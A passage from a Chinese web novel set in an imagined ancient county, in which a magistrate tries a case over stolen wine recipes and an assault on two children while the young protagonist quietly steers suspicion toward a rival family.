“讲一名哥儿遇到了一位小姐,然后他们一起做生意,赚钱,成亲,生崽崽。”沈小安说完,看着裴清珩疑惑问道:“哥哥,你是看不懂字吗?” 裴清珩明白了,果然温哥儿也认不全字,但又不好在安安面前丢了面子,便是借着自己小爹和安安娘亲编造起了故事。 这话本子哪里是讲哥儿小姐做生意,这分明讲的是小姐书生,而且言语之间还有些露骨。 也不知书斋是怎么会把这种话本子卖给小孩的。 “安安,这话本子你们怎么买来的?” “我们年纪小,书斋不会卖给我们话本子。我说是给爹爹买的,说要买最热的话本子,可是书斋的小厮并不愿意,我便说我爹爹很凶的,如果我不把书买回去,他就要打我一顿,那卖书的哥哥才愿意卖给我们。” “原本是给我们另外一本,奈何要一两银子,我和温哥儿太穷了,只能换了这本。”说着,沈小安为自己贫穷叹了一口气,又看向哥哥,好奇问道:“哥哥,怎么了?是这话本子有问题?” 裴清珩看着沈小安,忽然有些好奇,上辈子在他不知道的情况下,他的小夫郎到底看过哪些话本子。 “没什么。”裴清珩面色不变,将话本子放到桌上,“这话本子里的故事,既然安安听过了,哥哥给你讲另外的故事如何?” 沈小安看了眼话本子,这话本子的故事其实挺无聊的,无聊到温哥儿没一会儿就讲完了,奈何他们也没多余的钱能再买一本。 其实,那时候听温哥儿给他读,他都怀疑是那书斋的小厮见他们两个小,故意把卖不出去的书卖给他们。 既然哥哥要给他讲新故事,沈小安当然十分乐意,点了下头,笑的灿烂,“好呀。” 只要不让他读书。 什么都是最好哒! 23. 第 23 章 何广杰为了自家酒楼的生意,没少给同行下黑手,一些没背景的小摊贩,就通过郑大虎这种市井混混去找麻烦,逼得人家将方子卖给他们酒楼。 他家儿子更奇葩,就喜好嫁人未生育过的夫郎和妇人,家里纳的四个妾室都是从百姓家里抢过来的良家子,让何管家给了钱,杜绝了他人的口。 这些事都被捅到了崔县令面前。 隔日,崔县令重新开堂审理。 沈小安和温哥儿因为是重要人证,如料想的一样,被要求到场。 裴清珩也跟着沈慕风陪着沈小安一起去了县衙。 温哥儿那边由许景和陪着,毕竟许慕是作为被告人,并不能一直陪在温哥儿身边。 沈小安得知自己今日要去衙门当人证,可是兴奋死了,一路上和温哥儿嘀嘀咕咕没停过。 裴清珩此刻站在外面,朝里面看去,何广杰和何兴跪在下首,旁边还跪着罗富和郑大虎。许慕本来是被告人,可如今反倒成了原告,崔县令便准了他在旁站着。 崔县令让沈小安和许温上前,回忆了一遍当日事发经过。 听着沈小安他们的话,罗富垂着头,一脸丧气,只是目光触及到沈小安的时候,眼里多了几分凶狠,转眼对上崔县令的目光,人瑟缩了下,认命般的点了点头。 崔县令见罗富认罪了,就让沈小安和许温先下去。 可就在按下罪状的那一刻,罗富一双眸子死死的盯着许慕,本是沉寂的眸子此刻里头都是压不住的火,“许当家,我想问一问,为何当初提拔许成业,他才来酒坊七年,就因为他是你许家的家仆,你便让这人坐上大管事的位置,却不愿让我这个在酒坊当了十几年的人坐上大管事。若你当初让我坐上大管事,我也不会为了何管家几句话,萌生了偷酒曲之念。” 许慕看着罗富的模样,只觉得可笑至极,“你心存狭隘,嫉贤妒能,好大喜功,当个小管事还算凑活,可若是当大管事,你必会欺上瞒下,谋取利益。若你不是在酒坊做了十几年,从我爹在的时候便是管事,你早已被我辞退了。” 说到此,许慕心中有些后悔,后悔当初自己念着旧情,没将这颗毒瘤剔除,反倒被人反咬一口。 罗富恶狠狠瞪着许慕,他看得出来许慕说的是认真,可就是这认真,真的让他恨死了。 崔县令一拍惊堂木,“肃静,犯人罗富,还不画押认罪!” 惊堂木声音骤然响起,罗富回过神来,再不甘心,也只能老实画押认罪。 崔县令让张师爷拿着一本册子,走到何广杰的的面前。 “何广杰,这是从你管家何兴房中搜出来的账本,里头记载了你让何兴找郑大虎做的一系列事你可看仔细了。”崔县令说道。 “大人,草民真是冤枉啊!”何广杰大声喊道,心里却恨不得将何兴给弄死了。他从没想到何兴竟然将他让他做的事情都记录下来了,他以为何兴是个聪明,却自作主张的现在就让人去偷许家酒曲,让郑大去找许家酒坊的麻烦,还将这事做的如此浅薄,把他的安排全都弄乱了,被人抓到,如今还将他给拖累下来。 “郑大虎昨日已在牢里认下了罪状。”崔县令冷眼朝何广杰看去。 所有的事情都已调查明朗,郑大虎将所有的事都说明白了,罗富家中也找到了他口中何兴给他的银两。眼下不过是走一个过场,将罪名定下。 以及,他想看看这何家到底是得罪了谁? 崔县令眼底闪过一道暗芒。 何广杰深吸一口气,眼含悲切,演的真诚,“大人,此事真的跟草民无管。我是想要方子,毕竟做酒楼生意的谁不希望自己家酒楼好,所以有时我也会在何兴面前说上几句,可我没想到这人会买通郑大虎做出那种害人之事,我只当是他花了银子正经交易来的。是草民管教无妨,可切切实实是跟草民无关啊!” 裴清珩看着何广杰一副痛心疾首的模样,目光又朝那位何管家看去。只见人垂着头,一动不动的,估计这人该交待的事也都交待了,这崔县令也都了然于心。 何广杰演的再好,落在崔县令眼中不过是个跳梁小丑。 重新回到裴清珩身边的沈小安,见自己哥哥一直看着何广杰,好奇问道:“哥哥,你在看什么呀?” 裴清珩看着何广杰,喃喃道:“我觉得这人我好像见过。” “清珩,你见过?”听到这话的沈慕风问道。 裴清珩认真回忆了下,“嗯,就是在我来南竹县第二日,陪安安和温哥儿去悦来阁,许大哥也在,当时有个小二只注意手中的东西,没有看到安安和温哥儿,就要撞上去的时候,我拉住安安,透过门缝,便看到这位何老板正在同一位穿着富贵的少爷说话,坐在包厢中,笑容有些讨好。或许可以问下当时悦来阁的小二,就能知道当时同何广杰说话的人是谁。” 沈慕风和许景和互相对视了一眼,何广杰这种人能去讨好,想一想悦来阁是谁家开的,那富贵少爷不言而喻,但这事还需确认。 沈慕风看向裴清珩,“你可还记得和何广杰说话之人的样貌?” 裴清珩想了想,道:“还有些印象在。” 一旁的许景和同样看向裴清珩,特意缓和下自己严肃的面容,说道:“贤侄,你是否可以将此人样貌画下来。” 沈慕风也跟着说道:“若是能知道这人样貌,倒是好办许多。” “可以的,我稍后回去便将这人样貌画下来,只是可能会因为时隔数日,样貌或许会存在偏差。”裴清珩看向许景和,面露歉意。 许景和点了下头,“伯父知道的,只要有个大致就可以,辛苦清珩了。” “爹爹,你说罗富会不会被打板子啊。”许温没在意大人们在说什么,一心注意着县令大人的审判。他就想让罗富挨板子,谁让他害得安安受伤了。 许景和看向许温,知道自家哥儿在意什么,想了想道:“这个估计比较难,毕竟罗富已经认罪了。偷盗和故意伤害罪并罚,罗富起码要坐三年以上的牢,在这期间狱卒会教罗富重新做人的。” 而这教人的手段,那就有的是空间了。 裴清珩明白许景和话语的意思,只要愿意付银子,罗富在狱中的处境并不会好过。 毕竟只要犯人没死,是不会有人过问的。 但这不够。 害得安安受伤。 若不是安安机智,温哥儿力气大,只怕安安并不仅只是掌心受伤。 裴清珩垂下眼眸,敛下眼里的狠厉。 他会跟着来,不过是借着这机会,透露出何广杰曾同赵志逸交谈过。沈慕风和许景和知道后定会好好调查,二人向来谨慎,调查属实后,必会告诉崔县令,而崔县令能查到的就更多了…… 毕竟崔县令可是出身于陇南崔氏,大周四大世家之一。 何家失了主心骨,有些东西就难以控制,赵家想将人收回去,必然也要等上些日子,等到何家得罪过的那些人放弃之后。 而这段时间,会发生什么就不好说了。 他记得二皇子的生母便是出自陇南崔氏,就是眼下这位皇帝的位置也离不开陇南崔氏当初的帮扶。 这把刀他递过去了,他们可别让他失望。 此时,公堂上,人证物证都在,除了何广杰,其他三人都认了,包括何兴。 就算何兴要翻供许家酒坊这事,奈何他前面以为是何广杰做的,为了给其隐瞒,认了此事,加上之前他和郑大虎做的事情,即使他现在否认也无济于事,还要平白挨一顿板子。 何兴知道何广进的为人,眼下已经把何广进牵扯进去,他只能一口咬定都是自己所为,为的是借此机会,能在何广杰展露能力,获得更多的信任与好处。 何兴主犯判八年,并罚给那些因他而无法做生意,骗取方子的受害人共计一百八十余两银子,但因其是为了何家,所以这银两由何家所出。 郑大虎被判五年,其弟因并未全部参与,被判两年半。 罗富就如许景和所说,偷盗和故意伤害罪并罚,被判决三年半,并需支付沈安药费八两。 只是在崔县令说起要赔偿沈安药费的时候,罗富当即大声叫喊道:“我凭什么要赔给那哥儿钱, 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许慕跪在地上,说的凄凉,眼里的悲愤,语气里的控诉,真真教那些为人父母的心疼啊。 围观群众当即就有人喊着说必须严惩,这种心思的人若是轻轻放过,等人出来了,指不定要如何报复人家,必须要让他知道自己的错误。 这声音多的,本来崔县令就对罗富很是看不上,对两个小孩出手,眼下自然顺势加重了惩罚。 罗富的刑期就这么又被加了一年,罚银从八两变成了二十五两。 而纵观一切,被自己小爹这一番言论震惊到的许温,此刻张大了嘴,不敢置信的拉了拉自己爹爹的衣袖,“爹爹,小爹好厉害呀,我还以为他只会追着我,说给我站住。” 许景和看向在家惯性拆家的哥儿,有些无奈。你耍着你的三脚猫功夫,东一拳西一脚,你小爹能有耐性给你念叨?看到被你打碎的好东西,只是追着你已经算是很克制了。 “你小爹向来聪慧过人,能言善道。”许景和说完看了一眼同样看着他的沈小安,又加上了一句,“温柔和善。” 因着向来严肃的模样,完全让人看不出内里的心虚。 许温怀疑看去,温柔和善,真的吗? 许景和不语,只是摸了摸许温的发顶。 一旁的沈小安却激动的很,拉过许温的手就说道:“温哥儿,许小叔好厉害哦,就像说书人口里的人一样,比我爹爹还厉害。” 他爹都没办法让那罗管事多坐牢,许小叔竟然就办到了。 听到这话,沈慕风没好气的撇了一眼沈小安,这破小孩,不会说就别瞎比喻。 许温听到安安在夸自己小爹,立马就得意起来,嘚瑟道:“我小爹当然厉害呀,也不看看是谁的小爹。我小爹未出阁的时候,可是打遍县里无敌手,有人见我小爹样貌好,想要调戏,直接被我小爹打成了太监,那可是……” 许温还想继续吹嘘自己小爹辉煌的过去,一只大手捂住了他的嘴。 许温不知所以的看向自己爹爹。 许景和面上一派正经,夫郎可喜欢安哥儿了,若让他知道安哥儿眼里的许小叔从温柔可人变成暴力分子,而这话还是从自己哥儿嘴里说出去,温哥儿绝对要被自己小爹拎着好好切磋了。再知道他在一旁,却没出手相助,他也别想好过了。 沈小安可不知温哥儿他们在想什么,转过头,满眼崇拜的看着许小叔,一只小手还拉了拉身旁裴清珩的衣角,兴匆匆的说道:“哥哥,我也想学许小叔,嘴上能说会道,手上能将人打成太监,太厉害了。” “好,安安想学,哥哥一定教你。”裴清珩笑道。 “哥哥最好了。”沈小安感动的一把抱住裴清珩。 一旁的沈慕风看向裴清珩,有些惊恐。 安安现在就要上天,卖乖扮可爱,若让他再学许小叔拳脚功夫,岂不是要去天上蹦跶了。 他们南竹县别是要来一个小霸王了吧? 裴清珩笑着摸了摸沈小安的发顶,目光复又朝罗富看去,嘴角笑意消散,眼底闪过一抹杀意。 既然心有怨怼,那就别存在了。